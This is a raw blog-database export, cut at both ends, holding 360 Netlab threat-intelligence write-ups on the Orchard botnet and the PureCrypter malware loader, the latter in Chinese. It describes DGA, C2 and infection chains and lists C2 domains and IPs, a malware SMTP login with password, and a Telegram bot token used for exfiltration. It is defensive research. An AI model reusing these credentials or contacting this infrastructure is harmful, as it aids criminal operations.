that there is a clear case of shared IPs between the C2 of v1 and v2, as shown in the figure below."]]],[10,3],[1,"p",[[0,[],0,"The graph system helped us find more C2 IPs and domains, and the domains here are characterized by all ending in duckdns.org. v3 is relatively new and has fewer associated domains, and here is the active situation of v3 domains."]]],[10,4],[1,"p",[[0,[],0,"We can see that it was launched in May this year, and then gradually became active, and it should still be in the active period."]]],[1,"p",[[0,[],0,"Based on our PDNS data, we evaluated the infection scale of the three versions, among which v1 and v2 have thousands of nodes, and v3 has less because of its late appearance, and the following is the detailed resolution number of each version of domain name to specific IP(note the numbers do not reflect all the bots as as our PDNS visibility focus mainly in China)"]]],[10,5],[1,"h1",[[0,[],0,"Sample Analysis"]]],[1,"p",[[0,[],0,"Loader is used for counter analysis and self-protection. Currently Orchard loader is not fixed, even a single version can have a variety of loaders, for example, v1 version of Orchard is base64 encoded in the loader, v2/v3 version of the sample in the form of resource files stored in the loader in some cases. Each version has also used virtualization packers such as VMP, Enigma, etc. to protect itself. In general, Orchard's workflow can be summarized in the following diagram."]]],[10,6],[1,"p",[[0,[],0,"The functions of all three versions of Orchard are basically the same and include:"]]],[10,7],[1,"p",[[0,[],0,"The core functions of each of the 3 versions of Orchard are analyzed below in several dimensions, such as DGA algorithm, C2 communication and host behavior."]]],[1,"h2",[[0,[],0,"v1 version"]]],[1,"p",[[0,[],0,"The analysis of this version is based on the sample with MD5=5c883ff8539b8d04be017a51a84e3af8. It first releases the embedded PE file to the self-boot directory at runtime, and the released PE is base64 decoded in memory to get the orchard data, and then the PE uses any exe under System32/SysWOW64 as a puppet process to run the saved orchard code. The overall logic of this version of Orchard is as follows, mainly divided into two parts: network communication and USB infection, the final function depends on the specific module issued by C2, so orchard itself can be considered as a Downloader."]]],[10,8],[1,"p",[[0,[],0,"Here we mainly describe its network communication process (the logic of USB infection is the same for all three versions, see the section on USB infection for details)."]]],[1,"p",[[0,[],0,"C2 communication process is relatively simple, the bot in the check-in process will contact C2 to send the collected host information, and then wait for C2 response. The response data format is generally \"command + data\", the function of the command is specified by the command code."]]],[1,"p",[[0,[],0,"The information collected by v1 version includes: volume serial number (HWID), computer name, user name, operating system name, system version, installed capture driver name, antivirus information, parent process file modification time, top window name and window title, etc. These information are separated by \"[o.r.c.h.a.r.d]\". \" as a separator and then sent as shown in the following figure."]]],[10,9],[1,"p",[[0,[],0,"The example of C2 response data is as follows, where \"[&&]\" stands for instruction code 2, which represents downloading and execution, and the specific processing is divided into 2 types: if the response data is a URL, the PE corresponding to the URL is downloaded and executed; if it is a base64 encoded content, the decoded data is decoded first and then executed. The response data here is actually the new version of base64-encoded PE file, which is equivalent to upgrade, which also indicates that the old version may have been deprecated."]]],[10,10],[1,"p",[[0,[],0,"The v1 version defines a total of 8 instructions, and the correspondence between the instruction code and the instruction string is as follows."]]],[10,11],[1,"p",[[0,[],0,"Due to the nulling of some instructions, the eight instructions actually correspond to three operations (subsequent versions are similar)."]]],[10,12],[1,"h3",[[0,[],0,"DGA Algorithm"]]],[1,"p",[[0,[],0,"v1's DGA takes the date string (e.g. \"2022/07/05\") as input, calculates its MD5 value, then divides the MD5 string into four 8-byte substrings, and splices them with the 4 suffixes of .com, .net, .org, .duckdns.org in turn to get the daily 4 groups of 16 DGA domain names, the algorithm is implemented as follows."]]],[10,13],[1,"p",[[0,[],0,"Sample domains are as follow:"]]],[10,14],[1,"h2",[[0,[],0,"v2 version"]]],[1,"p",[[0,[],0,"The v2 version appears as a sample of two programming language implementations, Golang and C++, but with the same functionality. The analysis here takes the Golang sample with MD5=f3e0b960a48b433bc4bfe6ac44183b74 as an example, and its C2 initialization function is shown below, which can obviously see the hard-coded C2 domain names."]]],[10,15],[1,"p",[[0,[],0,"The v2 version of C2 communication starts to use json format, and the meaning of the fields is relatively clear. It collects roughly the same information as v1, including: volume serial number (HWID), computer name, user name, system version, antivirus information, active window information, etc. The new fields are: .net framework version (e.g. v2.0.50727), USB status, outgoing package type and its own version. The following is an actual observed version number information, Bot_Version=1.2/G may be interpreted as: version=v1.2, writing language=Golang."]]],[10,16],[1,"p",[[0,[],0,"The v2 version of the C++ language sample integrates the same C2, and the version information in the live package becomes \"Bot_version:1/C\", which collects the information shown in the figure below."]]],[10,17],[1,"p",[[0,[],0,"According to the code similarity analysis, the v2 C++ language sample is homologous with the later v3 C++ sample, which means that the latter is evolved from the former."]]],[1,"p",[[0,[],0,"The v2 version has a total of two kinds of instructions."]]],[10,18],[10,19],[10,20],[1,"p",[[0,[],0,"The v3 version also uses json format to save host information in C2 communication, and the overall structure of the sent data is Byte_0x46+TotalLen+InfoLen+Info.json. Compared to v2, v3 adds several fields related to mining, and the collected information includes:"]]],[10,21],[1,"p",[[0,[],0,"An example of a live package for v3 is shown below."]]],[10,22],[10,23],[10,24],[1,"p",[[0,[],0,"Where Transfer_Port indicates that the host is expected to make another request to 2929, and Message_Type indicates the instruction code, whose value is 7, indicating download & execute."]]],[1,"p",[[0,[],0,"After receiving the above instruction, bot makes another request to C2's TCP port 2929. Cuda is a parallel computing framework introduced by Nvidia that can only be used for its own GPU, and a Cuda_Version of 0 here means that Cuda is not supported."]]],[10,25],[1,"p",[[0,[],0,"C2 then responds with an XMRig miner program, which Client receives and saves and then injects XMRig into the puppet process according to instruction 7 to start performing mining work."]]],[10,26],[1,"p",[[0,[],0,"During the analysis we found that the v3 version has recently been continuously distributing an identical XMRig mining program, the latter integrated with the default mining configuration information, private mining pool address: 45.61.187.7:7733"]]],[10,27],[1,"p",[[0,[],0,"The meaning of the relevant fields can be found in "],[0,[1],1,"Blockchain"],[0,[],0,"'s "],[0,[2],1,"API manual"]]],[1,"p",[[0,[],0,"It is worth emphasizing that the v3 version does not parse the returned results, but directly feed it into the DGA algorithm as a whole to generate the domain name. Instead, the wallet address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa is said to be the Bitcoin Genesis address held by Satoshi Nakamoto himself. Over the past decade or so, small amounts of bitcoin have been transferred to this wallet on a daily basis for various reasons, so it is variable and that change is difficult to predict, so the balance information for this wallet can also be used as DGA input."]]],[1,"p",[[0,[],0,"At the time of writing, we found that other researchers had recently noticed this use of bitcoin account transaction information as DGA input for v3. The results of their analysis agreed with ours, but they did not notice that Orchard had actually been around for a long time."]]],[1,"p",[[0,[],0,"The complete v3 DGA algorithm is as follows."]]],[10,28],[1,"h2",[[0,[],0,"USB Infection"]]],[1,"p",[[0,[],0,"Orchard's file infection is not a traditional code insertion, but a file replacement. When a USB storage device is detected, Orchard will create a hidden directory under the root directory of the device, traverse all files for infection, and back up the files before and after infection to this hidden directory, the infected object is infected with the type attribute removed, and after infection all become exe type, and append the .exe suffix to become an executable file. Then the sample will copy itself to the infected directory and randomly named, the string is saved to the resources of the infected file. When the infected file in the device is executed by the user in the new system, it will launch the sample file in the hidden directory to achieve the purpose of spreading the infection."]]],[1,"p",[[0,[],0,"The USB infection process involves two embedded PE files, the first one is a DLL file that will be released to the %LocalAppData% directory, this DLL is called CGO_Helper by Orchard and is mainly used to extract and replace the icon of the infected file, its MD5 is The second file is an exe file with MD5 of f3c06399c68c5fdf80bb2853f8f2934b, which is used as a template file to store the infected code, and all the data of the infected file will be replaced with the data of this template file. The function of this template is to find the corresponding exe in the hidden directory to start execution according to the exe name in the resource, so the resource of the infected file is saved with the name of the backup Orchard sample."]]],[1,"p",[[0,[],0,"USB infection case example is as follows, the name of Orchard sample is saved in the resource of the infected file, when the user clicks on the infected exe, it will start the Orchard sample file in the hidden directory."]]],[10,29],[1,"h1",[[0,[],0,"Summary"]]],[1,"p",[[0,[],0,"Orchard is a botnet family that uses DGA technology. The latest version is dedicated to mining and has started using more unpredictable information like transaction information of bitcoin accounts as input to DGA, making detection more difficult. In over 1 year, Orchard has appeared in 3 different versions with changes in programming language and DGA implementation, indicating that Orchard is a botnet family that is still active and deserves our vigilance. We expect more variants to emerge subsequently, for which we will continue to keep an eye on, and will continue to disclose new findings."]]],[10,30],[1,"h2",[[0,[],0,"IOCs"]]],[1,"h3",[[0,[],0,"C2"]]],[10,31],[1,"h3",[[0,[],0,"MD5"]]],[10,32],[1,"h3",[[0,[],0,"Private mining pool"]]],[10,33],[1,"h2",[[0,[3],1,"Contact us"]]],[1,"p",[[0,[],0,"Readers are always welcomed to reach us on "],[0,[4],1,"Twitter"],[0,[],0," or email us to netlab[at]360.cn."]]]],"ghostVersion":"3.0"} | 62ec7ba02abfa500082491b9 |
post | null | 2022-08-15T06:12:43.000Z | 63873b9a8b1c1e0007f5301f | purecrypter | 0 | 2022-08-29T01:20:17.000Z | public | published | null | 2022-08-29T01:20:17.000Z | PureCrypter Loader持续活跃,已经传播了10多个其它家族 | <!--kg-card-begin: markdown--><p>在我们的日常botnet分析工作中,碰到各种loader是常事。跟其它种类的malware相比,loader的特殊之处在于它主要用来“推广”,即在被感染机器上下载并运行其它的恶意软件。根据我们的观察,大部分loader是专有的,它们和推广的家族之间存在绑定关系。而少数loader家族会将自己做成通用的推广平台,可以传播其它任意家族,实现所谓的malware-as-a-service(MaaS)。跟专有loader相比,MaaS类型显然更危险,更应该成为我们的首要关注目标。</p>
<p>本文介绍我们前段时间看到的一个MaaS类型的loader,它名为PureCrypter,今年非常活跃,先后推广了10多个其它的家族,使用了上百个C2。因为<a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">zscaler</a>已经做过详细的样本分析,本文主要从C2和传播链条角度介绍我们看到的PureCrypter传播活动,分析其运作过程。</p>
<p>本文要点如下:</p>
<ul>
<li>PureCrypter是一款使用C#编写的loader,至少2021年3月便已出现,能传播任意的其它家族。</li>
<li>PureCrypter今年持续活跃,已经传播了包括Formbook、SnakeKeylogger、AgentTesla、Redline、AsyncRAT等在内的10多个恶意家族。</li>
<li>PureCrypter作者拥有较多的推广资源,我们检测到的C2 域名和IP多达上百个。</li>
<li>PureCrypter作者喜欢使用图片名后缀结合倒置、压缩和加密等方式躲避网络检测。</li>
<li>PureCrypter的推广行为传播链条普遍较长,多数会使用前置protector,甚至搭配其它loader,检测难度较大。</li>
</ul>
<p>总的来说,PureCrypter的传播情况可以用下图总结:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--0-.png" alt="Image--0-" loading="lazy"></p>
<p>下面从样本分析和典型传播案例角度做一介绍。</p>
<h1 id="">样本分析</h1>
<p>PureCrypter使用了<a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">package机制</a>,由两个可执行文件组成:downloader和injector,它们都使用C#编写,其中downloader负责传播injector,后者释放并运行最终的目标家族二进制文件。实际操作时,攻击者通过builder生成downloader和injector,然后先设法传播downloader,后者会在目标机器上下载并执行injector,再由injector完成其余工作。从代码逻辑上看,downloader模块相对简单,样本混淆程度较低,没有复杂的环境检测和持久化等操作,而injector则使用了loader里常见的奇技淫巧,比如2进制混淆、运行环境检测、启动傀儡进程等,下面是结合实际的例子简单介绍下downloader和injector。</p>
<h2 id="downloader">downloader模块</h2>
<p>该模块直接调用WebClient的DownLoadData方法进行HTTP下载,没有设置单独的HTTP header。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--11-.png" alt="Image--11-" loading="lazy"></p>
<p>injector的uri通常也是明文保存,下面是一个下载经过倒置处理的样本的变种的例子,从解析代码能看出来HTTP payload做了倒置处理。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--12-.png" alt="Image--12-" loading="lazy"></p>
<p>在末尾可发现明显的被倒置的PE Header。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--13-.png" alt="Image--13-" loading="lazy"></p>
<p>最后通过Assembly.Load加载恢复好的injector(.DLL文件),调用明文编码的入口方法,进入下一阶段。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--14-.png" alt="Image--14-" loading="lazy"></p>
<p>PureCrypter对injector下载保护这块相对简单,目前看除了上面提到的倒置(reverse)编码外,还有 gzip压缩、对称加密等方式,这种编码是固定的,即builder在生成downloader和injector时就已经确定好编码方式,不存在运行动态改变的情况。</p>
<p>下面是使用使用gzip压缩后传输injector的例子,在流量开头可以发现GZip的magic header:<code>1F 8B 08 00</code>。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--15-.png" alt="Image--15-" loading="lazy"></p>
<p>我们还碰到过使用AES加密的例子。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--16-.png" alt="Image--16-" loading="lazy"></p>
<p>除了AES,PureCrypter还支持使用DES、RC4等加密算法。</p>
<h2 id="injector">injector模块</h2>
<p>如果分析还原好的injector,会发现普遍做了混淆处理,差别只是混淆程度的大小。下面是一例SmartAssembly混淆并且资源部分被加密的injector:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--17-.png" alt="Image--17-" loading="lazy"></p>
<p>如上图所示,首先通过Reverse + GZip + Protubuf.Deserialize组合拳,获取相关配置信息,之后是根据配置检查运行环境、对抗沙箱、创建互斥体、持久化等,最后从资源中获取payload加载运行。该样本没有进入任何一个if语句,很快到了最后一个重要函数,该函数主要实现最终payload的注入。根据配置的不同存在4种注入方式,傀儡进程(Process Hollowing)是被最多使用的方式。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/image.png" alt="image" loading="lazy"></p>
<p>最终payload存储在资源中,解密后的资源如下图:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--18-.png" alt="Image--18-" loading="lazy"></p>
<p>经过Reverse + GZip解压缩后创建傀儡进程启动最终的payload。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--19-.png" alt="Image--19-" loading="lazy"></p>
<p>上面最终推广的payload为AgentTesla,其配置信息如下:</p>
<pre><code>host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980
to: origin2022@raphaellasia.com
</code></pre>
<h2 id="">意外发现</h2>
<p>PureCrypter喜欢将injector伪装成图片供downloader下载,图片名比较随机,具有明显机器生成的特点。下面是实际检测到的一些图片名。</p>
<pre><code># pattern 1
/dl/0414/net_Gzhsuovx.bmp
/dl/0528/mars2_Hvvpvuns.bmp
/dl/0528/az_Tsrqixjf.bmp
# pattern 2
/040722/azne_Bvaquebo.bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappuq.bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd.bmp
# pattern 3
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Zhyor_Uavuxobp.png
/Xgjbdziy_Kglkvdfb.png
/Ankwgqtwf_Bdevsqnz.bmp
/Osgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Osgyjgne_Ymgrebdt.png
/Osgyjgne_Ymgrebdt.png
/Zhyor_Uavuxobp.png
</code></pre>
<p>在对多个样本进行分析后,我们发现请求的图片名与downloader的AssmblyName存在对应关系。</p>
<table>
<thead>
<tr>
<th>图片名</th>
<th>AssmblyName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Belcuesth_Ipdtbadv.png</td>
<td>Belcuesth</td>
</tr>
<tr>
<td>Kzzlcne_Prgftuxn.png</td>
<td>Kzzlcne</td>
</tr>
<tr>
<td>newminer2_Jrltkmeh.jpg</td>
<td>newminer2</td>
</tr>
<tr>
<td>Belcuesth_Ipdtbadv.png</td>
<td>Belcuesth</td>
</tr>
<tr>
<td>Nykymad_Bnhmcpqo.bmp</td>
<td>Nykymad</td>
</tr>
<tr>
<td>my_ori_Ywenb_Yzueqpjp.bmp</td>
<td>my ori Ywenb</td>
</tr>
</tbody>
</table>
<p>下划线后面的内容总是符合正则表达式</p>
<blockquote>
<p>[A-Z][a-zA-Z]{7}</p>
</blockquote>
<p>基于这个发现可以结合样本和网络请求两个维度的数据确认PureCrypter的下载行为。</p>
<h1 id="c2">C2和传播分析</h1>
<p>PureCrypter今年一直在活跃,我们先后检测到的C2 域名和IP有200多个,传播的家族数10多种。在我们看到的案例中,传播链条普遍比较长,PureCrypter的downloader模块经常跟各种其它类型的前置downloader配合使用。因为C2太多,这里主要以<code>185.215.113.89</code> 为例从规模和传播手法方面做一个介绍。</p>
<h2 id="c2">C2分析</h2>
<p>这个C2在我们检测到的C2中活跃度比较高,其活跃时间为今年4月中旬到6月初,如下图所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/xmon_185.215.113.89_ganwang.png" alt="xmon_185.215.113.89_ganwang" loading="lazy"></p>
<p>其活跃程度可以用我们的图系统直观反映出来。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/domain_ip_of_butler_202205-1.png" alt="domain_ip_of_butler_202205-1" loading="lazy"></p>
<p>能看到它关联到了比较多的域名和IP,下面是该IP在这段时间的部分域名解析情况。</p>
<pre><code>2022-04-14 22:47:34 2022-07-05 00:42:16 22 rockrock.ug A 185.215.113.89
2022-04-21 08:22:03 2022-06-13 09:17:50 15 marnersstyler.ug A 185.215.113.89
2022-04-17 03:17:41 2022-06-10 04:31:27 2538 qwertzx.ru A 185.215.113.89
2022-04-24 02:16:46 2022-06-09 00:11:24 3 hubvera.ac.ug A 185.215.113.89
2022-04-15 23:47:43 2022-06-08 19:24:59 43 timekeeper.ug A 185.215.113.89
2022-04-15 11:34:35 2022-06-08 19:24:59 35 boundertime.ru A 185.215.113.89
2022-04-14 23:01:50 2022-06-08 15:33:25 24 timebound.ug A 185.215.113.89
2022-04-15 21:58:54 2022-06-08 05:43:21 7 www.rockrock.ug A 185.215.113.89
2022-04-16 20:50:41 2022-06-08 01:44:01 54 beachwood.ug A 185.215.113.89
2022-04-23 16:23:41 2022-06-07 18:30:51 5 asdsadasrdc.ug A 185.215.113.89
2022-05-02 22:35:40 2022-06-07 04:34:12 17 leatherlites.ug A 185.215.113.89
2022-05-29 17:46:00 2022-06-07 03:50:36 3 underdohg.ac.ug A 185.215.113.89
2022-04-15 22:34:53 2022-06-07 03:33:10 18 rockphil.ac.ug A 185.215.113.89
2022-04-15 03:09:13 2022-06-07 03:19:50 14 pdshcjvnv.ug A 185.215.113.89
2022-04-15 03:04:12 2022-06-07 03:12:04 16 mistitis.ug A 185.215.113.89
2022-04-16 03:08:46 2022-06-07 03:08:48 18 nicoslag.ru A 185.215.113.89
2022-04-19 02:33:31 2022-06-07 02:37:08 16 danwisha.ac.ug A 185.215.113.89
2022-05-28 23:56:02 2022-06-05 05:14:50 7 underdohg.ug A 185.215.113.89
2022-05-10 14:44:28 2022-06-02 17:40:12 24 jonescourtney.ac.ug A 185.215.113.89
2022-06-02 07:44:25 2022-06-02 07:44:25 1 triathlethe.ug A 185.215.113.89
2022-04-24 03:05:38 2022-06-01 16:54:59 2191 qwertasd.ru A 185.215.113.89
2022-04-17 09:34:27 2022-06-01 01:42:07 2 partaususd.ru A 185.215.113.89
2022-04-25 00:08:53 2022-05-31 07:17:00 5 timecheck.ug A 185.215.113.89
2022-04-21 02:36:41 2022-05-31 01:20:37 21 courtneyjones.ac.ug A 185.215.113.89
2022-04-16 19:09:02 2022-05-31 01:02:02 14 marksidfgs.ug A 185.215.113.89
2022-04-25 03:01:15 2022-05-30 03:04:29 10 mofdold.ug A 185.215.113.89
2022-04-15 02:36:21 2022-05-30 02:32:53 17 check-time.ru A 185.215.113.89
2022-04-18 02:21:26 2022-05-30 02:22:30 17 agenttt.ac.ug A 185.215.113.89
2022-04-17 03:17:46 2022-05-29 03:17:26 15 qd34g34ewdfsf23.ru A 185.215.113.89
2022-04-19 02:25:06 2022-05-29 02:22:57 14 andres.ug A 185.215.113.89
2022-04-16 02:27:44 2022-05-29 02:22:47 16 asdasgs.ug A 185.215.113.89
</code></pre>
<p>第3列为访问量,不同域名访问量有差别,整体评估应该在千级,而这只是我们看到的众多C2中的一个。</p>
<p>通过关联分析,我们发现<code>185.215.113.89</code>经常跟<code>62.204.41.69</code>(3月)和<code>45.143.201.4</code>(6月)这两个C2配合使用,它们关系可以用下图关联。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--21--2.png" alt="Image--21--2" loading="lazy"></p>
<h2 id="">传播分析</h2>
<p>PureCrypter采用了downloader+injector的双模块机制,前者被传播后再传播后者,相当于在传播链条上增加了一环,加上作者惯用图片名后缀、编码传输等手段隐藏injector,这些本身就已足够复杂。而作者在downloader传播这块也下了不少功夫,我们看到的有通过bat2exe捆绑破解软件的方式、使用VBS和powershell脚本loader的方式、结合Godzilla前置loader等多种方式,这些操作叠加起来的结果就是PureCrypter的传播链条普遍较深较复杂。在5月份我们甚至发现通过PureCrypter传播Raccoon,后者进一步传播Azorult、Remcos、PureMiner、PureClipper的案例。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/PC-RACCOON-OTHER.png" alt="PC-RACCOON-OTHER" loading="lazy"></p>
<p>下面介绍几个典型传播手法。</p>
<h3 id="1bat2exepowershellvbsmeteoritepurecryptermarsstealer">1,“Bat2Exe+Powershell+VBS+Meteorite+PureCrypter”传播Mars Stealer</h3>
<p>这个主要在一些破解软件上有见到,downloader模块通过Bat2Exe捆绑到前者进行传播。实际运行时保存在资源中的恶意文件被释放到tmp目录下,通过start.bat来触发运行。释放在tmp目录下的文件形如下图:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--1-.png" alt="Image--1-" loading="lazy"></p>
<p>start.bat命令形如:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--2-.png" alt="Image--2-" loading="lazy"></p>
<p>在我们分析的案例中,.lnk文件被用来启动powershell执行恶意命令。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--3-.png" alt="Image--3-" loading="lazy"></p>
<p>Powershell解码出一个base64编码的VBS loader:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--8-.png" alt="Image--8-" loading="lazy"></p>
<p>VBS loader进一步释放一个downloader,并通过shellcode运行后者。该downloader的敏感信息都保存在资源中,包括进程名和download url,如下图所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--28-.png" alt="Image--28-" loading="lazy"></p>
<p>根据运行后的进程名将该downloader命名为<code>Meteorite</code>,上图中的url就对应PureCrypter的downloader模块,完整的通信过程如下图:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/25e6857acc38482a85b9863f5749d21a-----.png" alt="25e6857acc38482a85b9863f5749d21a-----" loading="lazy"></p>
<p>最终payload为Mars Stealer,c2: <code>rockrock.ug/gggate.php</code>,配置信息如下:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--24-.png" alt="Image--24-" loading="lazy"></p>
<h3 id="2vbspowershellpurecrypterpureminer">2,“VBS/Powershell + PureCrypter” 传播PureMiner</h3>
<p>涉及的C2为 <code>89.34.27.167</code>,入口为一个VBS脚本或者Powershell脚本,下面是VBS脚本的例子。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--4-.png" alt="Image--4-" loading="lazy"></p>
<p>网络通信流量如下:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/VBS_CASE.png" alt="VBS_CASE" loading="lazy"></p>
<p>Powershell脚本如下:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--25-.png" alt="Image--25-" loading="lazy"></p>
<p>Powershell脚本下载并运行PureCrypter的downloader模块,后者继续下载injector,这里比较特殊的是使用Discord来分发injector:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--26-.png" alt="Image--26-" loading="lazy"></p>
<p>最终的payload为PureMiner,C2如下:</p>
<pre><code>185.157.160.214
pwn.oracleservice.top
pwn.letmaker.top
port: 8080, 8444
</code></pre>
<h3 id="3netdownloaderagentteslaredline">3,利用未知.NET downloader传播 AgentTesla、RedLine</h3>
<p>该downloader家族未知,其运行时同样分为多个阶段,其中stage0模块负责加载资源中的stage1恶意模块:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--5-.png" alt="Image--5-" loading="lazy"></p>
<p>stage1模块运行后会继续加载下一阶段模块stage2:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--6-.png" alt="Image--6-" loading="lazy"></p>
<p>stage2模块也是一个Crypter(暂未命名),与PureCrypter不同,他还提供了下载功能,用来下载恶意PureCrypter的downloader模块,即图中的<code>puty.exe</code>。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--7-.png" alt="Image--7-" loading="lazy"></p>
<p>从资源中异或解密恶意软件,key为<code>bnvFGkCKlnhQ</code>,相关算法如下:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/Image--29-.png" alt="Image--29-" loading="lazy"></p>
<p>因此实际传播了两个家族:</p>
<p>stage2的payload为AgentTesla,c2为 <code>https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument</code></p>
<p>PureCrypter的payload为RedLine,c2为</p>
<pre><code>IP: workstation2022.ddns.net:62099
ID: cheat
</code></pre>
<h2 id="">总结</h2>
<p>PureCrypter是一个仍在活跃的MaaS类型的botnet,已经传播了10多种影响比较大的其它恶意家族。PureCrypter的传播手法普遍比较复杂,其背后应该存在至少一个比较专业的黑产组织,他们拥有较多的技术、域名和IP资源,预计今后会继续传播其它的恶意家族。我们对PureCrypter的传播活动一直有较好的检测,会第一时间将C2等威胁信息添加到我们的威胁情报库中。后续我们会继续保持关注,及时更新最新的威胁信息。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h2 id="ioc">IOC</h2>
<h3 id="md5">MD5</h3>
<table>
<thead>
<tr>
<th>Family Name</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bat2Exe Downloader</td>
<td>424ed5bcaae063a7724c49cdd93138f5</td>
</tr>
<tr>
<td>VBS downloader</td>
<td>3f20e08daaf34b563227c797b4574743</td>
</tr>
<tr>
<td>Powershell downloader</td>
<td>c4c5167dec23b6dd2d565cd091a279e4</td>
</tr>
<tr>
<td>未知.NET Downloader</td>
<td>9b70a337824bac612946da1432295e9c</td>
</tr>
</tbody>
</table>
<h3 id="c2url">C2 &URL</h3>
<pre><code>agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug
jonescourtney.ac.ug
leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www.rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
</code></pre>
<!--kg-card-end: markdown--> | 在我们的日常botnet分析工作中,碰到各种loader是常事。跟其它种类的malware相比,loader的特殊之处在于它主要用来“推广”,即在被感染机器上下载并运行其它的恶意软件。根据我们的观察,大部分loader是专有的,它们和推广的家族之间存在绑定关系。而少数loader家族会将自己做成通用的推广平台,可以传播其它任意家族,实现所谓的malware-as-a-service(MaaS)。跟专有loader相比,MaaS类型显然更危险,更应该成为我们的首要关注目标。
本文介绍我们前段时间看到的一个MaaS类型的loader,它名为PureCrypter,今年非常活跃,先后推广了10多个其它的家族,使用了上百个C2。因为zscaler已经做过详细的样本分析,本文主要从C2和传播链条角度介绍我们看到的PureCrypter传播活动,分析其运作过程。
本文要点如下:
* PureCrypter是一款使用C#编写的loader,至少2021年3月便已出现,能传播任意的其它家族。
* PureCrypter今年持续活跃,已经传播了包括Formbook、SnakeKeylogger、AgentTesla、Redline、AsyncRAT等在内的10多个恶意家族。
* PureCrypter作者拥有较多的推广资源,我们检测到的C2 域名和IP多达上百个。
* PureCrypter作者喜欢使用图片名后缀结合倒置、压缩和加密等方式躲避网络检测。
* PureCrypter的推广行为传播链条普遍较长,多数会使用前置protector,甚至搭配其它loader,检测难度较大。
总的来说,PureCrypter的传播情况可以用下图总结:
下面从样本分析和典型传播案例角度做一介绍。
样本分析
PureCrypter使用了package机制,由两个可执行文件组成:downloader和injector,它们都使用C#编写,其中downloader负责传播injector,后者释放并运行最终的目标家族二进制文件。实际操作时,攻击者通过builder生成downloader和injector,然后先设法传播downloader,后者会在目标机器上下载并执行injector,再由injector完成其余工作。从代码逻辑上看,downloader模块相对简单,样本混淆程度较低,没有复杂的环境检测和持久化等操作,而injector则使用了loader里常见的奇技淫巧,比如2进制混淆、运行环境检测、启动傀儡进程等,下面是结合实际的例子简单介绍下downloader和injector。
downloader模块
该模块直接调用WebClient的DownLoadData方法进行HTTP下载,没有设置单独的HTTP header。
injector的uri通常也是明文保存,下面是一个下载经过倒置处理的样本的变种的例子,从解析代码能看出来HTTP payload做了倒置处理。
在末尾可发现明显的被倒置的PE Header。
最后通过Assembly.Load加载恢复好的injector(.DLL文件),调用明文编码的入口方法,进入下一阶段。
PureCrypter对injector下载保护这块相对简单,目前看除了上面提到的倒置(reverse)编码外,还有 gzip压缩、对称加密等方式,这种编码是固定的,即builder在生成downloader和injector时就已经确定好编码方式,不存在运行动态改变的情况。
下面是使用使用gzip压缩后传输injector的例子,在流量开头可以发现GZip的magic header:1F 8B 08 00。
我们还碰到过使用AES加密的例子。
除了AES,PureCrypter还支持使用DES、RC4等加密算法。
injector模块
如果分析还原好的injector,会发现普遍做了混淆处理,差别只是混淆程度的大小。下面是一例SmartAssembly混淆并且资源部分被加密的injector:
